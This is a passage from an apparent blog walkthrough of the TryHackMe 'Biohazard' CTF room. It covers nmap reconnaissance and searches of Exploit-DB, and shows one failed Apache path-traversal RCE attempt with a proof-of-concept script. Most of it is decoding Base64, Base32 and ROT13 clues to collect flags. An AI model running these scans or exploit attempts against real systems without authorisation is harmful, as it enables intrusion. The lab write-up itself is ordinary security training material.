            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hMniXqFEbfuVZMWK4oUmgw.jpeg" /></figure><p>🔬 Hey! I’m <strong>Adwaith</strong>, an aspiring offensive security enthusiast, and I’m thrilled to share my walkthrough of the Biohazard CTF on TryHackMe.</p><blockquote>Inspired by <strong>Resident Evil</strong>, this room takes you through puzzles, locked doors, hidden directories, and traitorous teammates-all leading up to the final escape. From FTP and SSH access to cracking encrypted files and capturing the ultimate root flag, this lab was a thrilling survival-style challenge.</blockquote><p>Click the link below and join me on this nightmare journey.</p><p><a href="https://tryhackme.com/room/biohazard">Biohazard</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*859pTPCbi4d7m9tj6XkcCA.png" /><figcaption>[ This image and all the theoretical content of the present article is TryHackMe’s property. ]</figcaption></figure><p>can you survive Biohazard? 🧟‍♂️</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*_uEnCVH7Mhx1KNfJbw44wQ.gif" /><figcaption>[ GIF sourced from GIPHY. Rights belong to the creator. ]</figcaption></figure><h3>Task 1. Introduction</h3><p><strong>1.1.</strong> Deploy the machine and start the nightmare</p><p>No answer needed</p><p><strong>1.2.</strong> How many open ports?</p><p>Let’s scan the target machine to discover its open ports.</p><p><strong>command</strong>:</p><pre>nmap -p- 10.201.12.16</pre><p><strong>scan result</strong>:</p><pre>Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-02 20:54 IST<br>Nmap scan report for 10.201.12.16<br>Host is up (0.40s latency).<br>Not shown: 65532 closed tcp ports (reset)<br>PORT   STATE SERVICE<br>21/tcp open  ftp<br>22/tcp open  ssh<br>80/tcp open  http<br><br>Nmap done: 1 IP address (1 host up) scanned in 78.45 seconds</pre><p>So, the target has a total of 3open ports.</p><p><strong>Stop there!</strong> A basic port scan only gives us open ports, but that’s not enough. To gather more details, I used Nmap with service and script scanning options. This helped identify the exact versions of the services running on the target.</p><p><strong>command</strong>:</p><pre>nmap -sC -sV -p- 10.201.12.16</pre><p><strong>scan result</strong>:</p><pre>Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-02 21:04 IST<br>Nmap scan report for 10.201.12.16<br>Host is up (0.25s latency).<br>Not shown: 65532 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>21/tcp open  ftp     vsftpd 3.0.3<br>22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 c9:03:aa:aa:ea:a9:f1:f4:09:79:c0:47:41:16:f1:9b (RSA)<br>|   256 2e:1d:83:11:65:03:b4:78:e9:6d:94:d1:3b:db:f4:d6 (ECDSA)<br>|_  256 91:3d:e4:4f:ab:aa:e2:9e:44:af:d3:57:86:70:bc:39 (ED25519)<br>80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>|_http-title: Beginning of the end<br>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 92.56 seconds</pre><p>Next, manually search the running service versions on Google to check for any available exploits, focusing mainly on <strong>Exploit-DB</strong>, <strong>Rapid7</strong>, and relevant <strong>GitHub</strong> repositories.</p><p>What I found is just a <strong>DoS</strong> script for <strong>VSFTPD</strong> 3.0.3:</p><p><a href="https://www.exploit-db.com/exploits/49719">OffSec&#39;s Exploit Database Archive</a></p><blockquote>Running this could interrupt the connection to the FTP service.</blockquote><p>In our case, we don’t need it. If you’re not familiar with DoS or DDoS attacks, you can research them yourself, or check out these references:</p><p><a href="https://www.pynetlabs.com/difference-between-dos-and-ddos-attack/">What is the Difference Between DoS and DDoS Attacks?</a></p><blockquote>My next target is <strong>SSH</strong>.</blockquote><p>I found another <strong>OpenSSH</strong> exploit that can enumerate SSH usernames. It affects versions between 2.3 and 7.7</p><p><a href="https://www.exploit-db.com/exploits/45233">OffSec&#39;s Exploit Database Archive</a></p><p>I tried some default usernames like <strong>root</strong> and <strong>admin</strong>, but the script had limitations when attempting to brute-force with wordlists.</p><blockquote>Next, I searched for Apache server exploits</blockquote><p>then I found one that exploit combines <strong>LFI</strong> (Local File Inclusion) path traversal with Remote Code Execution (<strong>RCE</strong>) essentially a chain exploit.</p><p>If you’re not familiar with <strong>RCE</strong> or <strong>LFI</strong>, you can research them on Google.</p><ul><li><a href="https://brightsec.com/blog/local-file-inclusion-lfi/">Local File Inclusion: Understanding and Preventing Attacks</a></li><li><a href="https://www.invicti.com/learn/remote-code-execution-rce/">Remote Code Execution (RCE)</a></li></ul><p>and You can find more information and resources about this exploit on this page:</p><p><a href="https://www.exploit-db.com/exploits/50383">OffSec&#39;s Exploit Database Archive</a></p><blockquote>This exploit might have allowed us to gain a <strong>shell</strong> directly, but in our case, it didn’t worked!</blockquote><p><strong>command:</strong></p><pre>./poc.sh target /bin/sh &#39;whoami&#39;</pre><p><strong>exploit result:</strong></p><pre>                                                                                                                                                     0xW41th<br>[*] Target: 10.201.12.210<br>&lt;!DOCTYPE HTML PUBLIC &quot;-//IETF//DTD HTML 2.0//EN&quot;&gt;<br>&lt;html&gt;&lt;head&gt;<br>&lt;title&gt;400 Bad Request&lt;/title&gt;<br>&lt;/head&gt;&lt;body&gt;<br>&lt;h1&gt;Bad Request&lt;/h1&gt;<br>&lt;p&gt;Your browser sent a request that this server could not understand.&lt;br /&gt;<br>&lt;/p&gt;<br>&lt;hr&gt;<br>&lt;address&gt;Apache/2.4.29 (Ubuntu) Server at 10.201.12.210 Port 80&lt;/address&gt;<br>&lt;/body&gt;&lt;/html&gt;</pre><p>The exploit was <strong>unsuccessful</strong>. Did we waste time?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*lpSJ5P7kujNK297thwLWFQ.gif" /><figcaption>[ GIF sourced from tenor. Rights belong to the creator. ]</figcaption></figure><p>Basically, yes. But in <strong>penetration testing</strong>, it’s important to <strong>try every possibility.</strong> After all this, let’s move on to the next step.</p><p><strong>1.3.</strong> What is the team name in operation</p><p>I almost forgot to mention there’s an HTTP server running on port <strong>80</strong>, so we need to visit it.</p><h4>[ The nightmare begin ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ruTQa8KIlLDOjy4k8Dl_cQ.png" /><figcaption>[ Home page]</figcaption></figure><p>If you look at the bottom of the page, there’s some text mentioning a known team name STARS alpha team</p><p>On this page, you’ll see names like <strong>Chris</strong>, <strong>Jill</strong>, <strong>Barry</strong>, <strong>Wesker</strong>, and <strong>Joseph</strong>, along with a <strong>hyperlink</strong> to move to the next page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*EbFq-mU51xUmVjOgCO-zdA.png" /><figcaption>[ ssh enum ]</figcaption></figure><p>I tried to enumerate SSH usernames using the previous exploit, but I couldn’t find anything. So my next step was to inspect the homepage and see what’s behind it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a7Mp_V1-58R7rPbmP2wi4Q.png" /><figcaption>[ source ]</figcaption></figure><p>I also tried visiting the <strong>/images/</strong> path looking for some path traversal, but the server denied access.</p><h4>Before moving to the next task!!!!!!!!!!</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*NqG-uhXDycm9QHXJ0Et7EA.gif" /><figcaption>[ GIF sourced from GIPHY. Rights belong to the creator. ]</figcaption></figure><blockquote>Pay close attention this is where the story truly begins. Every detail matters, so be <strong>cautious</strong> and <strong>observant</strong>. I won’t explain the story for you. you’ll need to read and piece it together yourself. Make sure to note down every hint you find <strong>words</strong>, <strong>names</strong>, and <strong>flags</strong> as you navigate each page. Every clue could be <strong>crucial</strong>!</blockquote><p>are you ready to step into the <strong>mansion</strong>?</p><h3>Task 2. The Mansion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*UiPu8UCR4MXkQll8K6WSGg.gif" /><figcaption>[ GIF sourced from tumblr. Rights belong to the creator. ]</figcaption></figure><p>Let me remind you once again note down every <strong>flag</strong>, <strong>hint</strong>, and <strong>clue</strong>, because we’ll need to reuse them again and again in different situations. Once you enter this room, you’ll understand why.</p><blockquote>Our flags will follow this format: Item_name{32_character}.</blockquote><p><strong>2.1.</strong> What is the emblem flag</p><p>currently we are in the <strong>Home</strong> page:</p><h4><strong>[ The nightmare begin ]</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TcLiX2l1Sgy8_l6PGbM9PQ.png" /><figcaption>[ Home page ]</figcaption></figure><p>Clicking on the <strong>Mansion</strong> link redirects us to the <strong>Main Hall</strong> page.</p><h4>[ <strong>Main Hall</strong> ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qHmm3Y__vak9DNjtXvTbkA.png" /><figcaption>/mansionmain/</figcaption></figure><p>Since no hyperlink is present, Let’s inspected the source of the <strong>/mansionmain/</strong> page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0JdIxee7mezebTq4yb9RJg.png" /><figcaption>[ source ]</figcaption></figure><p>Here we can see a comment in the source:</p><pre>&lt;!-- It is in the /diningRoom/ --&gt;</pre><p>Our next destination is <strong>/diningRoom/</strong></p><p>If you’re unsure, just replace the URL path like this:</p><pre>http://&lt;machine-ip-address&gt;/&lt;path&gt;/</pre><p><strong>example:</strong></p><pre>http://10.201.12.16/diningRoom/</pre><p>Next, we move from <strong>/mansionmain/</strong> to<strong> /diningRoom/</strong></p><h4>[ Dining room ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jOdiEKQRvblOSJ1bENisKQ.png" /><figcaption>/diningRoom/</figcaption></figure><p>There’s a hyperlink called <strong>YES</strong> on this page but don’t click it yet. First, let’s inspect the <strong>/diningRoom/</strong> page to see what’s hidden behind it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-o0YRKLY5VDIpowrHEa8Cg.png" /><figcaption>[ source ]</figcaption></figure><p>A comment is visible here:</p><pre>&lt;!-- SG93IGFib3V0IHRoZSAvdGVhUm9vbS8= --&gt;</pre><p>The comment is encoded in Base64 we’ll come back to it later. For now, let’s return to the <strong>/diningRoom/</strong> page and click the hyperlink called <strong>YES </strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yFR4hvOzIsUX9Doyh9HL6w.png" /><figcaption>/diningRoom/emblem.php</figcaption></figure><p>Flag captured: <strong>Emblem</strong>!</p><p>A message appeared saying we need to go back to <strong>/diningRoom/</strong> and refresh the page.</p><p>Let’s go back to <strong>/diningRoom/</strong> :</p><h4>[ Dining room ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wo8Upp6gAVBq0B5sI-GQ2A.png" /><figcaption>/diningRoom/</figcaption></figure><p>Then, refresh the page.</p><h4>[ Dining room ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*koxz3eruXUTtDBTfsCnWKg.png" /><figcaption>/diningRoom/</figcaption></figure><p>Once we took the <strong>Emblem</strong> flag! and returned, an input box showed up just as expected.</p><p><em>“There is an emblem slot on the wall, put the emblem?”</em></p><p>What if we enter the <strong>Emblem</strong> flag here? Maybe it will unlock something… let’s try it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*ipXaxgiU72xE3KHK3yTg4w.png" /><figcaption>/diningRoom/</figcaption></figure><p>When I tried putting the <strong>Emblem</strong> flag in the box, it showed <strong>“Nothing happen”</strong>. Maybe it’s the wrong flag. The actual flag must be somewhere else, so let’s leave the page for now and come back later.</p><p><strong>2.2.</strong> What is the lock pick flag</p><p>we got an base64 encoded string from <strong>/diningRoom/ :</strong></p><pre>&lt;!-- SG93IGFib3V0IHRoZSAvdGVhUm9vbS8= --&gt;</pre><p>There are many Base64 decoders in online, but to make things easier, I’m introducing <strong>CyberChef</strong>, also called the “<strong>Cyber Swiss Army Knife</strong>.”</p><p>It can encode, decode, and analyze strings with many cryptographic ciphers. Simply paste your Base64 (or other encoded) string, and it can automatically detect the encoding and decode it even if it’s double or triple encoded. Everything happens in seconds, making analysis much faster. You can check it out and test it yourself it’s a handy tool for future CTFs:</p><p><a href="https://gchq.github.io/CyberChef/">CyberChef</a></p><p>If you’re not familiar with <strong>CyberChef</strong>, you can learn the basics from this <strong>TryHackMe room</strong>. It’s a great way to get hands-on experience:</p><p><a href="https://tryhackme.com/room/cyberchefbasics">CyberChef: The Basics</a></p><p>Actually, you can just paste some encoded strings into<strong> </strong>CyberChef and test them yourself. For now, here’s a quick review:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jINXjrtHDU6CAVALgkWs0w.jpeg" /><figcaption>[ CyberChef ]</figcaption></figure><ol><li><strong>Operations:</strong> All types of encryption, decryption, and ciphers are available here. You add the operations you need to the <strong>Recipe</strong>.</li><li><strong>Recipe:</strong> This section lets you configure and arrange the order of operations. Sometimes you may need multiple recipes this becomes clearer as you try the <strong>TryHackMe CyberChef Basics</strong> room.</li><li><strong>Input:</strong> Paste your string here.</li><li><strong>Output:</strong> This shows the decrypted text, the recipe used, and other properties.</li></ol><p>In this screenshot, I added the <strong>Magic</strong> operation to the recipe, pasted the Base64 string, and it automatically output the decoded result.</p><p>encoded string:</p><pre>SG93IGFib3V0IHRoZSAvdGVhUm9vbS8=</pre><p>decoded :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*LSVgq0fK5_YkTFCsZ7hNXA.png" /><figcaption>[ output ]</figcaption></figure><p>The output revealed another path: <strong>/teaRoom/</strong>.</p><p>Let’s visit it:</p><h4>[ The nightmare begin ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yfHjiODUxYU_1EwrqIUq7g.png" /><figcaption>/teaRoom/</figcaption></figure><p>On this page, there’s a hyperlink called <strong>Lockpick</strong>, and another path <strong>/artRoom/</strong> is mentioned make sure to note it down. I inspected <strong>/teaRoom/</strong>, but didn’t find anything, so let’s click the <strong>Lockpick</strong> link.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*Mnxe07dX7G0k0Ri3hJYzlw.png" /><figcaption>/teaRoom/master_of_unlock.html</figcaption></figure><p>Flag captured: <strong>lock_pick</strong>!</p><p>I know what you’re thinking what if we put the <strong>lock_pick</strong> flag! into the <strong>/diningRoom/</strong> input box?</p><h4>[ Dining room ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A6gXU6YaPuQr9E7jpb-8kg.png" /><figcaption>/diningRoom/</figcaption></figure><p>Nope not possible!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*qN-i8_u5Z-HyC-X55ax-EA.gif" /><figcaption>[ GIF sourced from tenor. Rights belong to the creator. ]</figcaption></figure><p><strong>It’s Just Not, because</strong> <strong>I already tried it damn it…!!</strong></p><p><strong>2.3.</strong> What is the music sheet flag</p><p>From <strong>/teaRoom/</strong>, we discovered another path, so next we visit <strong>/artRoom/</strong></p><h4>[ Art room ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*OZ-UOO1J4CNYgP-WoqN0VA.png" /><figcaption>/artRoom/</figcaption></figure><p>I inspected this page too, but found nothing behind it. Note that when I visit every page, I will inspect each one so we can find if anything is behind it. From here on out, I will never say this again: “I was inspected this page.” So, here is only a hyperlink called <strong>YES</strong> click there.</p><h4>[ Mansion Map ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*1_PEbT7ui7ibghiPwk_R4Q.png" /><figcaption>/artRoom/MansionMap.html</figcaption></figure><p>We got the <strong>MansionMap</strong>, showing some paths to explore. From here, we’ll visit each path one by one for clues or hidden flags and keep the map <strong>open</strong>.</p><p>we already visited:</p><pre>/diningRoom/  ----&gt; input emblem flag!<br>/teaRoom/<br>/artRoom/</pre><blockquote>Remember, <strong>/diningRoom/</strong> isn’t done yet, we still need the <strong>Emblem</strong> flag for its input box. Keep this in mind.</blockquote><p>Next, our destination is <strong>/barRoom/</strong>.</p><h4>[ Bar room entrance ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qcHHLty-DIvQ0LFT_Af7MQ.png" /><figcaption>/barRoom/</figcaption></figure><p>On this page, a door appeared that can be opened with the <strong>lock_pick</strong> flag! we got earlier. Using it, we got inside <strong>/barRoom3757162e3db…/</strong>.</p><h4>[ Bar room ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fnefSnax36HYHE_dDXmTtw.png" /><figcaption>/barRoom3757162e3db…/</figcaption></figure><p>Here, it’s asking for a flag in the input box, but we don’t have it yet. There’s also a hyperlink called <strong>READ, </strong>let’s visit it and see what’s inside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r4YMt3d2VTxcGa6rlj8CHA.png" /><figcaption>/barRoom3757162e3db…/musicNote.html</figcaption></figure><p>Here, we found an <strong>encoded string</strong>!</p><pre>NV2XG2LDL5ZWQZLFOR5TGNRSMQ3TEZDFMFTDMNLGGVRGIYZWGNSGCZLDMU3GCMLGGY3TMZL5</pre><p>To decode, use <strong>CyberChef </strong>apply the <strong>Magic</strong> recipe, paste the encoded string, and get the result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*I2pAaEm7fMyBXIRqib0s_w.png" /><figcaption>[ CyberChef ]</figcaption></figure><p>Flag captured: <strong>music_sheet</strong>!</p><blockquote>If you look on the left side, the recipe shows which encryption was used it’s <strong>Base32</strong>. Just a note to keep in mind.</blockquote><p><strong>2.4.</strong> What is the gold emblem flag</p><p>Are we heading to the next path on the <strong>MansionMap</strong>? Not yet we haven’t completed <strong>/barRoom/</strong>. Remember the input box there.</p><p>Let’s go back from <strong>musicNote.html</strong> to <strong>/barRoom3757162e3db…/</strong></p><h4><strong>[ Bar room ]</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F60IgdZ3benhc3VhE1zaww.png" /><figcaption>/barRoom3757162e3db…/</figcaption></figure><p>The hint here is to play the piano using the <strong>music_sheet</strong> flag! we got earlier. Let’s put it in the input box and submit.</p><h4>[ Secret bar room ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*VDb2k88bKTwsc8eDTZgVNQ.png" /><figcaption>/barRoom3757162e3db…/barRoomHidden.php</figcaption></figure><p>By submitting the <strong>music_sheet</strong> flag, we were redirected from the <strong>Bar Room</strong> to the <strong>Secret Bar Room</strong>.</p><p>The hint says the Golden Emblem is embedded on the wall. Let’s click the hyperlink called <strong>YES</strong> and see what happens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*Syb1WVZlktfvIszIJxe00g.png" /><figcaption>/barRoom3757162e3db…/gold_emblem.php</figcaption></figure><p>Flag captured: <strong>gold_emblem</strong>!</p><p>A message appeared, just like before. It says we need to go back to the <strong>Secret Bar Room</strong> and refresh the page.</p><p>Heading back to the <strong>Secret Bar Room</strong>.</p><h4>[ Secret bar room ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*jNjG9yMwuPZh4sLuhJT_qw.png" /><figcaption>/barRoom3757162e3db…/barRoomHidden.php</figcaption></figure><p>Let’s refresh the page.</p><h4>[ Secret bar room ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*Ph9QYvAhXFkTKWD4DJp1ww.png" /><figcaption>/barRoom3757162e3db…/barRoomHidden.php</figcaption></figure><p>After taking the <strong>gold_emblem</strong> flag! and going back, an input box appeared.</p><p><em>“There is an emblem slot on the wall, put the emblem?”</em></p><p>It asked for the <strong>Emblem</strong> flag, which we got earlier from <strong>/diningRoom/</strong>. Let’s put the flag in here!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-29p7SagRuAPz6WkWcLFHQ.png" /><figcaption>/barRoom3757162e3db…/emblem_slot.php</figcaption></figure><p>Finished <strong>/barRoom/</strong> and received the name <strong>“rebecca”</strong>. Could be a hint, so take note!</p><p><strong>2.5.</strong> What is the shield key flag</p><p>in our done list:</p><pre>/diningRoom/  ----&gt; input emblem flag!<br>/teaRoom/<br>/artRoom/<br>/barRoom/</pre><p>Next, we head to <strong>/diningRoom2F/</strong></p><h4>[ Dining room 2F ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LX35R4fthNAAVUuOr3Y7Vg.png" /><figcaption>/diningRoom2F/</figcaption></figure><p>A <strong>Blue Gem</strong> is mentioned, but no link is present. Time to inspect <strong>/diningRoom2F/</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZmsCR33_DAZS78hm6quOzQ.png" /><figcaption>[ source ]</figcaption></figure><p>Here, we can see a comment</p><pre> &lt;!-- Lbh trg gur oyhr trz ol chfuvat gur fgnghf gb gur ybjre sybbe. Gur trz vf ba gur qvavatEbbz svefg sybbe. Ivfvg fnccuver.ugzy --&gt;</pre><p>From my experience, it looks like an <strong>ROT13</strong> cipher is used here though this is just a guess, as many ciphers can look similar. If you don’t know, <strong>ROT13</strong> is a simple letter substitution cipher that replaces each letter with the 13th letter after it in the Latin alphabet.</p><p>Here’s a diagram to help understand how it works:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mEmx9YzQn55LD9XdWOXCAg.png" /><figcaption>[ ROT13 mapping ]</figcaption></figure><p>Not sure what a <strong>cipher</strong>, <strong>ROT13</strong>, or “<strong>13th letter</strong>” means? No worries I’ve got some references you can check to understand the concept. You don’t need to read them all, just get the idea.</p><ul><li><a href="https://www.geeksforgeeks.org/computer-networks/what-is-cipher/">What is Cipher? - GeeksforGeeks</a></li><li><a href="https://privacycanada.net/rot13-cipher/">Rot13 Cipher - Comprehensive Analysis 2025 - Privacy Canada</a></li></ul><p>In <strong>CyberChef</strong>, we’ll drag and drop the <strong>ROT13</strong> operation instead of using Magic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*5Z0kkfBzovWfdpc7J_3wnA.png" /><figcaption>[ CyberChef ]</figcaption></figure><p>Next, paste the cipher into the <strong>Input</strong> section, and the <strong>Output</strong> will show:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*Q8yhxpOQtwLBiveRgojjRw.png" /><figcaption>[ CyberChef ]</figcaption></figure><p>From the decoded text, we got a hint: the <strong>Blue Gem</strong> can be obtained by pushing the status to the lower floor. Since we’re currently in <strong>/diningRoom2F/</strong> (second floor), let’s move to the first floor by modifying the path to <strong>/diningRoom/sapphire.html</strong> and visiting it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IOC-Ffp12dfY9B5rZn7yDQ.png" /><figcaption>/diningRoom/sapphire.html</figcaption></figure><p>Flag captured:<strong> blue_jewel</strong>!</p><p>Wait, this isn’t what we needed, we got the <strong>blue_jewel</strong> flag, but we actually need the <strong>shield_key</strong> flag! Note this down somewhere, as we’ll need it later. For now, <strong>/diningRoom2F/</strong> is completed, so let’s keep moving.</p><p>In our done list:</p><pre>/diningRoom/  ----&gt; input emblem flag!<br>/teaRoom/<br>/artRoom/<br>/barRoom/<br>/diningRoom2F/</pre><p>our next destination is <strong>/tigerStatusRoom/</strong></p><h4>[ Tiger status room ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*35FYLya3YZAoRu6LoSCmZA.png" /><figcaption>/tigerStatusRoom/</figcaption></figure><p>An input box asks for a gem on the <strong>Tiger’s Eye</strong>.</p><p>We got it from <strong>/diningRoom/sapphire.html</strong>, so submit the <strong>blue_jewel</strong> flag! and see what happens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3R5NpjbwjWXVcFXK5HIy7w.png" /><figcaption>/tigerStatusRoom/gem.php</figcaption></figure><p>An encoded string here gives a hint: it’s double-encoded and 14 letters long. It says to collect 4 crests, decode them, and combine them to reveal another path. Note this, as we need 3 more crests. <strong>/tigerStatusRoom/</strong> is done, let’s continue.</p><p>In our done list:</p><pre>/diningRoom/  ----&gt; input emblem flag!<br>/teaRoom/<br>/artRoom/<br>/barRoom/<br>/diningRoom2F/<br>/tigerStatusRoom/</pre><p>Our next destination is <strong>/galleryRoom/</strong></p><h4>[ Gallerty ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EU1gKCpJc8_pWyANp7i23Q.png" /><figcaption>/galleryRoom/</figcaption></figure><p>Here, there’s a hyperlink called <strong>EXAMINE</strong>. Let’s visit it and see what’s inside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Re9obLHBdAojQTWAPijiNQ.png" /><figcaption>/galleryRoom/note.txt</figcaption></figure><p>We got the second crest! Note it down this one is double-encoded, and the output length is 18 letters. With this, <strong>/galleryRoom/</strong> is complete.</p><p>In our done list:</p><pre>/diningRoom/  ----&gt; input emblem flag!<br>/teaRoom/<br>/artRoom/<br>/barRoom/<br>/diningRoom2F/<br>/tigerStatusRoom/<br>/galleryRoom/</pre><p>Our next destination is <strong>/studyRoom/</strong></p><h4>[ Study room entrance ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q8HIcnd1uhr-nKSHDMlL3g.png" /><figcaption>/studyRoom/</figcaption></figure><p>An input box appeared asking for a <strong>Helmet</strong> symbol / the <strong>Helmet</strong> flag to enter the <strong>Study Room</strong>. There are no hyperlinks, and I inspected the page no comments, hints, or clues. I tried all the flags we have, but none worked. Did we miss something? Nope. Let’s leave this page for now and come back later. Time to move to the next destination.</p><p>In our done list:</p><pre>/diningRoom/  ----&gt; input emblem flag!<br>/teaRoom/<br>/artRoom/<br>/barRoom/<br>/diningRoom2F/<br>/tigerStatusRoom/<br>/galleryRoom/<br>/studyRoom/   ----&gt; input helemt flag!</pre><p>Our next desination is <strong>/armorRoom/</strong></p><h4>[ Armor room entrance ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uzB9fR3zIRXMxj5GsTfa6w.png" /><figcaption>/armorRoom/</figcaption></figure><p>This page needs the <strong>Shield</strong> symbol / the <strong>Shield</strong> flag. Same situation as <strong>/studyRoom/</strong>: no hyperlinks, no comments, and trying all our flags was a waste of time. Let’s leave this page for now and come back later. Time to move to the next destination.</p><p>In our done list:</p><pre>/diningRoom/  ----&gt; input emblem flag!<br>/teaRoom/<br>/artRoom/<br>/barRoom/<br>/diningRoom2F/<br>/tigerStatusRoom/<br>/galleryRoom/<br>/studyRoom/   ----&gt; input helemt flag!<br>/armorRoom/   ----&gt; input shield flag!</pre><p>Our next destination is <strong>/attic/</strong></p><h4>[ Attic entrance ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9eiq-10rxgtV29KYR83zCw.png" /><figcaption>/attic/</figcaption></figure><p>This page needs the <strong>Shield</strong> symbol / the <strong>Shield</strong> flag. Just like <strong>/studyRoom/</strong> and <strong>/armorRoom/</strong>, there are no hyperlinks or comments, and trying all our flags didn’t work. Leave this page for now; we’ll come back later. Let’s move to the next destination.</p><p>In our done list:</p><pre>/diningRoom/  ----&gt; input emblem flag!<br>/teaRoom/<br>/artRoom/<br>/barRoom/<br>/diningRoom2F/<br>/tigerStatusRoom/<br>/galleryRoom/<br>/studyRoom/   ----&gt; input helemt flag!<br>/armorRoom/   ----&gt; input shield flag!<br>/attic/       ----&gt; input shield flag!</pre><p>Our next destination is…..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*XkNnivdKO67DhxTSV2_2-A.gif" /><figcaption>[ GIF sourced from tenor. Rights belong to the creator. ]</figcaption></figure><blockquote>………..THE END???</blockquote><p>Are you ready?</p><p>Do you remember the <strong>/diningRoom/ </strong>path we left behind earlier? I told you we’d come back to it and now it’s time.</p><pre>/diningRoom/  ----&gt; input emblem flag!</pre><h4>[ Dining room ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LbK_mnI3w8dzCiGIVOXObA.png" /><figcaption>/diningRoom/</figcaption></figure><p>Earlier, we tried using the emblem flag here, but it didn’t work. This time, we’ve obtained the <strong>gold_emblem </strong>flag from the <strong>Secret Bar Room (</strong>/barRoom3757162e3db…/).</p><p>Let’s input the flag here and see what happens!</p><h4>[ Dining room ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*argZMAVzQK1RJSDZozmz8w.png" /><figcaption>/diningRoom/</figcaption></figure><p>then click submit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J02wJi0vVHmuAhKoVB9xhA.png" /><figcaption>/diningRoom/emblem_slot.php</figcaption></figure><p>It looks like ROT13, doesn’t it? Let’s try decoding the string using CyberChef. Drag and drop the <em>Magic</em> operation into the recipe, paste the string into the input field, and the result is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*YZcTNfnCuSTXU-8AllxNRg.png" /><figcaption>[ CyberChef]</figcaption></figure><p>Nothing! As I mentioned earlier, many ciphers can look similar to ROT13. In this case, it only appears to be ROT13, but it’s not. So, how do we figure out which cipher it really is?</p><p>To solve this, let me introduce you to a handy website called <strong>Enigmator</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EyYqNbsWzKq27MTKjQ4h_Q.png" /><figcaption>[ Engimator ]</figcaption></figure><p>here is the link:</p><p><a href="https://merri.cx/enigmator/cryptanalysis/crypto_identifier.html">Crypto Identifier - Enigmator</a></p><p>This website can perform cryptanalysis but what does that mean? You can research it yourself. Essentially, 